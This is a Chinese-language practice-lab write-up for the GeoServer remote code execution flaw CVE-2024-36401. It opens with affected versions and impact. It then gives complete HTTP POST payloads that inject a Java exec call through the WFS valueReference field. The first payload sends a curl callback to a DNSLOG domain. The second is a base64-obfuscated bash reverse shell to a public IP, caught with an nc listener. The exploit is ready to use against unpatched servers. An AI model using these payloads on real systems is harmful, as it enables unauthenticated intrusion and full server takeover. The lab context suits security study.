【一】漏洞介绍:
漏洞编号:CVE-2024-36401
影响组件:GeoServer(Java 编写的开源 GIS 服务器)
影响版本:
- 2.24.0 ~ 2.24.3
- 2.25.0 ~ 2.25.1
公开时间:2024年7月2日
漏洞等级:高危(Critical)
漏洞描述:
GeoServer 存在远程代码执行(RCE)漏洞,攻击者可在无需认证的前提下,通过构造特殊的 HTTP 请求,在服务器上执行任意系统命令。该漏洞源于 GeoServer 对用户提供的部分输入未正确过滤,导致可注入恶意表达式或代码片段。
【二】漏洞利用条件
漏洞的利用通常需满足以下条件:
-
使用受影响版本的 GeoServer
- 2.24.0 ~ 2.24.3
- 2.25.0 ~ 2.25.1
-
暴露管理或相关接口至公网
-
未开启安全加固措施(如请求过滤、身份验证、输入校验等)
-
攻击者构造特定 Payload 触发服务端的漏洞点(如某些插件/接口处理脚本时的执行漏洞)
【三】漏洞危害
- 远程代码执行(RCE)
攻击者可直接执行任意系统命令,如反弹 shell、下载恶意软件等。 - 服务器被完全控制
可读取文件、写入 WebShell、安装木马,危害极大。 - 信息泄露
攻击者可访问数据库、GIS 数据信息、系统配置等敏感资源。 - 横向移动
可作为跳板攻击内网其他主机或控制更多系统。 - 影响广泛
GeoServer 广泛用于政府、企业 GIS 系统,若未及时修复,极易被利用。
【四】漏洞复现:
打开靶场首页,访问URL:URL/geoserver,例如:http://node.hackhub.get-shell.com:45191/geoserver/, 访问geoserver系统首页

打开DNSLOG(dnslog.cn)平台,生成一个临时域名后续实验使用。
xi0ejl.dnslog.cn

利用下面的POC数据包,使用BurpSuite或者Yakit这类软件进行数据包重放,记得替换Host为自己目标 ,然后查看数据包中的字段:valueReference='exec(java.lang.Runtime.getRuntime(),"curl xi0ejl.dnslog.cn")'> 其中curl xi0ejl.dnslog.cn就是执行的命令,将里面的域名替换为自己的DNSLOG域名,然后发包后查看DNSLOG平台的回显。
POST数据包为:
POST /geoserver/wfs HTTP/1.1
Host: node.hackhub.get-shell.com:45191
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Length: 326
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"curl xi0ejl.dnslog.cn")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
点击发送请求

回到DNSLOG平台

刷新记录发现多了一条解析记录,证明此漏洞存在
通过DNSLOG平台可以看到回显,说明此处可以命令执行。但是JAVA的EXEC执行命令会有些困难,不可以直接输入反弹Shell命令,我们精心构造一下Payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}
这是一串shell命令,需要我们将YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMQ== 进行base64解码:bash -i >& /dev/tcp/127.0.0.1/12345 0>&1,然后将里面的127.0.0.1替换为接收反弹Shell机器的公网IP,例如改为:bash -i >& /dev/tcp/公网IP/12345 0>&1,然后base64编码一下:YmFzaCAtaSA+JiAvZGV2L3RjcC8xNC4xMDMuMTc1LjE5My8xMjM0NSAwPiYx,最终执行命令的Payload为:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNC4xMDMuMTc1LjE5My8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}
完整的POST请求数据包为:
POST /geoserver/wfs HTTP/1.1
Host: node.hackhub.get-shell.com:45191
Accept: */*
Accept-Language: en-US,en;q=0.5
Content-Length: 326
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNC4xMDMuMTc1LjE5My8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
接着在公网服务器上开启NC监听:
nc -lvp 12345

点击发送请求

公网服务器反弹shell成功

结果靶标服务器,执行任意命令:

得到flag:
GetShell{73873F80-C718-2849-D76B-EF57D2739DBB}